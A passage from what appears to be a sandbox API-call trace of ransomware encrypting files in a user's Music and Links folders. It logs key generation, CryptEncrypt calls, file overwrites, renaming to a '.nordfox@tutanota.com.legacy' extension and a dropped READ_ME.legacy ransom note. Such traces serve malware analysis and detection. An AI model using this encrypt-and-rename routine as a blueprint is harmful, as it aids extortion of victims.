dwFlags=0x8) returned 1 [0112.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0112.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0112.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0112.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0112.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3468 [0112.534] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0112.534] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0112.534] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Links\\desktop.ini", dwFileAttributes=0x80) returned 1 [0112.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0112.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5638b8 [0112.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0112.535] CreateFileW (lpFileName="\\Users\\FD1HVy\\Links\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f4 [0112.535] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=504) returned 1 [0112.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1f8) returned 0x5646a8 [0112.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1f8) returned 0x52f438 [0112.535] ReadFile (in: hFile=0x5f4, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1f8, lpOverlapped=0x0) returned 1 [0112.536] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=-504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.536] WriteFile (in: hFile=0x5f4, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1f8, lpOverlapped=0x0) returned 1 [0112.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0112.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52f438 | out: hHeap=0x520000) returned 1 [0112.537] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1f8 [0112.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.537] WriteFile (in: hFile=0x5f4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.538] WriteFile (in: hFile=0x5f4, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.538] CloseHandle (hObject=0x5f4) returned 1 [0112.538] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0112.538] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0112.538] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Links\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\links\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Links\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\links\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0112.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0112.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0112.544] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566dd0 [0112.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cb8 | out: hHeap=0x520000) returned 1 [0112.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567000 | out: hHeap=0x520000) returned 1 [0112.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d500 | out: hHeap=0x520000) returned 1 [0112.544] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x94396afd, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd206de97, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5a98 [0112.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.545] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.545] GetLastError () returned 0x0 [0112.545] SetLastError (dwErrCode=0x0) [0112.545] GetLastError () returned 0x0 [0112.545] SetLastError (dwErrCode=0x0) [0112.545] GetLastError () returned 0x0 [0112.545] SetLastError (dwErrCode=0x0) [0112.545] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0112.545] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0112.546] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0112.546] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0112.546] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5ad8 [0112.546] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5ad8 | out: hHeap=0x520000) returned 1 [0112.546] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0112.546] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0112.546] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0112.546] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0112.546] FindNextFileW (in: hFindFile=0x5c5a98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x94396afd, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd206de97, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0112.546] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.546] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0112.546] GetLastError () returned 0x0 [0112.546] SetLastError (dwErrCode=0x0) [0112.546] GetLastError () returned 0x0 [0112.546] SetLastError (dwErrCode=0x0) [0112.546] GetLastError () returned 0x0 [0112.547] SetLastError (dwErrCode=0x0) [0112.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0112.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d240 [0112.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0112.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0112.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5ad8 [0112.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5ad8 | out: hHeap=0x520000) returned 1 [0112.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0112.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0112.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0112.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0112.547] FindNextFileW (in: hFindFile=0x5c5a98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa55771f0, ftCreationTime.dwHighDateTime=0x1d4ce1a, ftLastAccessTime.dwLowDateTime=0x3c1c3f60, ftLastAccessTime.dwHighDateTime=0x1d4c6ed, ftLastWriteTime.dwLowDateTime=0x3c1c3f60, ftLastWriteTime.dwHighDateTime=0x1d4c6ed, nFileSizeHigh=0x0, nFileSizeLow=0x31a4, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="6WIa6Jjj.mp3", cAlternateFileName="")) returned 1 [0112.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0112.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0112.547] GetLastError () returned 0x0 [0112.547] SetLastError (dwErrCode=0x0) [0112.548] GetLastError () returned 0x0 [0112.548] SetLastError (dwErrCode=0x0) [0112.548] GetLastError () returned 0x0 [0112.548] SetLastError (dwErrCode=0x0) [0112.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0112.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0112.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0112.548] FindNextFileW (in: hFindFile=0x5c5a98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0112.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.548] GetLastError () returned 0x0 [0112.548] SetLastError (dwErrCode=0x0) [0112.548] GetLastError () returned 0x0 [0112.548] SetLastError (dwErrCode=0x0) [0112.548] GetLastError () returned 0x0 [0112.548] SetLastError (dwErrCode=0x0) [0112.549] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0112.549] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0112.549] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0112.549] FindNextFileW (in: hFindFile=0x5c5a98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300ee3a0, ftCreationTime.dwHighDateTime=0x1d4d37a, ftLastAccessTime.dwLowDateTime=0x6dcbb980, ftLastAccessTime.dwHighDateTime=0x1d4c825, ftLastWriteTime.dwLowDateTime=0x6dcbb980, ftLastWriteTime.dwHighDateTime=0x1d4c825, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="FO7jTe", cAlternateFileName="")) returned 1 [0112.549] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.549] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0112.549] GetLastError () returned 0x0 [0112.549] SetLastError (dwErrCode=0x0) [0112.549] GetLastError () returned 0x0 [0112.549] SetLastError (dwErrCode=0x0) [0112.549] GetLastError () returned 0x0 [0112.549] SetLastError (dwErrCode=0x0) [0112.549] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0112.549] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d500 [0112.549] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0112.549] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0112.550] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0112.550] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0112.550] GetLastError () returned 0x0 [0112.550] SetLastError (dwErrCode=0x0) [0112.550] GetLastError () returned 0x0 [0112.550] SetLastError (dwErrCode=0x0) [0112.550] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0112.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0112.550] GetLastError () returned 0x0 [0112.550] SetLastError (dwErrCode=0x0) [0112.550] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0112.550] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0112.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0112.551] WriteFile (in: hFile=0x5f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0112.552] CloseHandle (hObject=0x5f8) returned 1 [0112.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0112.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0112.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0112.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0112.553] FindNextFileW (in: hFindFile=0x5c5a98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a94870, ftCreationTime.dwHighDateTime=0x1d4c57f, ftLastAccessTime.dwLowDateTime=0x6d4f7b60, ftLastAccessTime.dwHighDateTime=0x1d4c6b6, ftLastWriteTime.dwLowDateTime=0x6d4f7b60, ftLastWriteTime.dwHighDateTime=0x1d4c6b6, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="KXHVVFp3mvrAVi5.mp3", cAlternateFileName="KXHVVF~1.MP3")) returned 1 [0112.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0112.553] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0112.553] GetLastError () returned 0x0 [0112.553] SetLastError (dwErrCode=0x0) [0112.553] GetLastError () returned 0x0 [0112.553] SetLastError (dwErrCode=0x0) [0112.553] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0112.553] GetLastError () returned 0x0 [0112.553] SetLastError (dwErrCode=0x0) [0112.553] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0112.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0112.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0112.554] FindNextFileW (in: hFindFile=0x5c5a98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298ecd50, ftCreationTime.dwHighDateTime=0x1d4c57f, ftLastAccessTime.dwLowDateTime=0xcf17e260, ftLastAccessTime.dwHighDateTime=0x1d4cb9d, ftLastWriteTime.dwLowDateTime=0xcf17e260, ftLastWriteTime.dwHighDateTime=0x1d4cb9d, nFileSizeHigh=0x0, nFileSizeLow=0x16856, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Qxb4lX6U.wav", cAlternateFileName="")) returned 1 [0112.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0112.554] GetLastError () returned 0x0 [0112.554] SetLastError (dwErrCode=0x0) [0112.554] GetLastError () returned 0x0 [0112.554] SetLastError (dwErrCode=0x0) [0112.554] GetLastError () returned 0x0 [0112.554] SetLastError (dwErrCode=0x0) [0112.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0112.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0112.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0112.554] FindNextFileW (in: hFindFile=0x5c5a98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd206de97, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd206de97, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd37d6250, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0112.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0112.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.555] GetLastError () returned 0x0 [0112.555] SetLastError (dwErrCode=0x0) [0112.555] GetLastError () returned 0x0 [0112.555] SetLastError (dwErrCode=0x0) [0112.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.555] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.555] GetLastError () returned 0x0 [0112.555] SetLastError (dwErrCode=0x0) [0112.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0112.555] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0112.555] FindNextFileW (in: hFindFile=0x5c5a98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd206de97, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd206de97, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd37d6250, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0112.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0112.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0112.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0112.556] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0112.556] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0112.556] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\Qxb4lX6U.wav", dwFileAttributes=0x80) returned 1 [0112.556] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0112.556] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563c00 [0112.556] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0112.556] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\Qxb4lX6U.wav" (normalized: "c:\\users\\fd1hvy\\music\\qxb4lx6u.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0112.557] GetFileSizeEx (in: hFile=0x5f8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=92246) returned 1 [0112.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16856) returned 0x5e9bd0 [0112.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16856) returned 0x2e20fd8 [0112.558] ReadFile (in: hFile=0x5f8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x16856, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x16856, lpOverlapped=0x0) returned 1 [0112.562] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=-92246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.562] WriteFile (in: hFile=0x5f8, lpBuffer=0x2e20fd8*, nNumberOfBytesToWrite=0x16856, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16856, lpOverlapped=0x0) returned 1 [0112.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0112.566] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16856 [0112.567] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.567] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.568] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.568] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.568] CloseHandle (hObject=0x5f8) returned 1 [0112.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0112.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0112.568] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\Qxb4lX6U.wav" (normalized: "c:\\users\\fd1hvy\\music\\qxb4lx6u.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\Qxb4lX6U.wav.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\music\\qxb4lx6u.wav.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563c00 | out: hHeap=0x520000) returned 1 [0112.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0112.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0112.570] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0112.570] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0112.570] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0112.571] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0112.571] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\KXHVVFp3mvrAVi5.mp3", dwFileAttributes=0x80) returned 1 [0112.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0112.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7fd0 [0112.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0112.571] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\KXHVVFp3mvrAVi5.mp3" (normalized: "c:\\users\\fd1hvy\\music\\kxhvvfp3mvravi5.mp3"), 